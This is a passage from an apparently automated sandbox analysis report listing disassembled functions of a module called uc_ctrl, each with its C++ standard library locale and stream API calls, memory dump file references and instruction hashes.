                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6CF089B7
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEAFBD: __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                                • Part of subcall function 6CEEAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                                • Part of subcall function 6CEEAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEEAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF089CC
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAK@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6CF08A04
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6CF08A47
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 4202057792-0
                                                                                              • Opcode ID: a07971a73c59f2bec11edd5d516c75e240353dce5a66059f34f2ae70e84c88da
                                                                                              • Instruction ID: 581acfa36cc628bc3cbbee913b8b9941148a77b9f994245fa6bf6f3a7340d525
                                                                                              • Opcode Fuzzy Hash: a07971a73c59f2bec11edd5d516c75e240353dce5a66059f34f2ae70e84c88da
                                                                                              • Instruction Fuzzy Hash: 8F215C75A01248EFCB05DFE4C9A0DEEBBB9AF08708F24405DE005A7742D7719A49DBA1
                                                                                              Function 6CF08A60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF08A67
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6CF08A97
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEAFBD: __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                                • Part of subcall function 6CEEAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                                • Part of subcall function 6CEEAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEEAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF08AAC
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6CF08AE4
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6CF08B27
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 4202057792-0
                                                                                              • Opcode ID: eaa1156bf911c9251542de9dc6fcd8c80998392fb71d7595e5c13ef53ca05431
                                                                                              • Instruction ID: 921a872847e7b34057dee70d27ac250b850b71deaab19460594984b4e6cfade9
                                                                                              • Opcode Fuzzy Hash: eaa1156bf911c9251542de9dc6fcd8c80998392fb71d7595e5c13ef53ca05431
                                                                                              • Instruction Fuzzy Hash: BF213875A01248EFCF05DFA4C9A09EEBFB5AF08708F64505DE005A7342D7719A49DBA1
                                                                                              Function 6CF06B60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF06B67
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06B97
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEB058: __EH_prolog3.LIBCMT ref: 6CEEB05F
                                                                                                • Part of subcall function 6CEEB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE800B,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEB06A
                                                                                                • Part of subcall function 6CEEB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEB082
                                                                                                • Part of subcall function 6CEEB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB0E6
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF06BAD
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBX@Z.MSVCP140(?,00000000,?,00000002,?,?,?,?,?), ref: 6CF06BDB
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06C28
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 48bd59281ad4ad9e28a2aef568df8da2992e4a17dfca0d8e60584ad376e54c4e
                                                                                              • Instruction ID: 05296df86e4b26d02fa0272b5dcbb53e17edb6c3d633120b1ad82c1b8aa43961
                                                                                              • Opcode Fuzzy Hash: 48bd59281ad4ad9e28a2aef568df8da2992e4a17dfca0d8e60584ad376e54c4e
                                                                                              • Instruction Fuzzy Hash: C1219031A01248EFDB05DFE8C850BEDBBB4AF19708F24408DE541AB342C7755A46DB54
                                                                                              Function 6CF08B40 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF08B47
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6CF08B77
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEAFBD: __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                                • Part of subcall function 6CEEAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                                • Part of subcall function 6CEEAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEEAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF08B8C
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAI@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6CF08BC4
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6CF08C07
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 4202057792-0
                                                                                              • Opcode ID: 051280b8de92551d81b4b4909368c22083998bf02e40aab4e0e4c15fe56aafc0
                                                                                              • Instruction ID: 7ecdb6f49dea2379b1e9e33a745b4c21c847277f93d3ad2704759436a0d01fc6
                                                                                              • Opcode Fuzzy Hash: 051280b8de92551d81b4b4909368c22083998bf02e40aab4e0e4c15fe56aafc0
                                                                                              • Instruction Fuzzy Hash: B6216D74A01248EFCB05DFE4C9A0DEEBFB5AF08708F24405DE045A7342D7719A49DBA5
                                                                                              Function 6CF03DE0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF03DE7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF03E17
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF95EB: __EH_prolog3.LIBCMT ref: 6CEF95F2
                                                                                                • Part of subcall function 6CEF95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE611,?,?,?,?,?,00000000), ref: 6CEF95FD
                                                                                                • Part of subcall function 6CEF95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6CEF9615
                                                                                                • Part of subcall function 6CEF95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6CEF9679
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF03E2D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBX@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6CF03E57
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF03EA4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 55c24ff21d5299d3ad398d3b3aeab9d4cee6c2a824cbb409b8c1aba800bdd6f8
                                                                                              • Instruction ID: 0989e52ee78d5b08cad9a6ae89626368e0b217ba2d303cb866a636dc961ef59a
                                                                                              • Opcode Fuzzy Hash: 55c24ff21d5299d3ad398d3b3aeab9d4cee6c2a824cbb409b8c1aba800bdd6f8
                                                                                              • Instruction Fuzzy Hash: A611B171A01108DFCB05DFA8C850FEDBBB5AF0C708F24408EE644AB381CB759A0ADB60
                                                                                              Function 6CF00B00 Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF00B07
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF00B37
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9C86: __EH_prolog3.LIBCMT ref: 6CEF9C8D
                                                                                                • Part of subcall function 6CEF9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAF1,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9C98
                                                                                                • Part of subcall function 6CEF9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9CB0
                                                                                                • Part of subcall function 6CEF9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9D14
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF00B4D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBX@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6CF00B77
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF00BC4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: aa3315425e5a9595fe702e67a4e39d9ca33dbb8c9427cd67b95583ef13fa592e
                                                                                              • Instruction ID: f97ce660bc45e8d176f9a03d1f25b12c33c1cf835ec8294e408f3a690448ce24
                                                                                              • Opcode Fuzzy Hash: aa3315425e5a9595fe702e67a4e39d9ca33dbb8c9427cd67b95583ef13fa592e
                                                                                              • Instruction Fuzzy Hash: D3118171A01144DFDB05DFE8C960BEDBBB5AF49708F24408DE145AB382CBB59A06DB60
                                                                                              Function 6CF044E0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF044E7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF04517
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF95EB: __EH_prolog3.LIBCMT ref: 6CEF95F2
                                                                                                • Part of subcall function 6CEF95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE611,?,?,?,?,?,00000000), ref: 6CEF95FD
                                                                                                • Part of subcall function 6CEF95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6CEF9615
                                                                                                • Part of subcall function 6CEF95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6CEF9679
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF0452D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WJ@Z.MSVCP140(00000000,00000000,?,?,?,00000001,?,?), ref: 6CF04557
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF045A4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 8ab52b08cdaacdf8ebcdddf967b8865c744809c11dc6578eaf76c09d2d45c097
                                                                                              • Instruction ID: 3878c2aabf1e88666232e845ffeb8605d2d3be47b21fa84f0c87bdde52606602
                                                                                              • Opcode Fuzzy Hash: 8ab52b08cdaacdf8ebcdddf967b8865c744809c11dc6578eaf76c09d2d45c097
                                                                                              • Instruction Fuzzy Hash: 5D117F71A01144DFCB05DFA8C860BEDBBB5AF5C709F24408DE545AB381CB759A49DB60
                                                                                              Function 6CF014C0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF014C7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF014F7
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9C86: __EH_prolog3.LIBCMT ref: 6CEF9C8D
                                                                                                • Part of subcall function 6CEF9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAF1,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9C98
                                                                                                • Part of subcall function 6CEF9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9CB0
                                                                                                • Part of subcall function 6CEF9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9D14
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF0150D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_N@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6CF01537
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF01584
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 6827c115686fee91577263f82dbf2063d4626e0b83075b1aa8389a51d34b140d
                                                                                              • Instruction ID: ed6fb4ddd191574ccc527d24a58ccf2d3fc8f49070f70a1b26200e1996ccb630
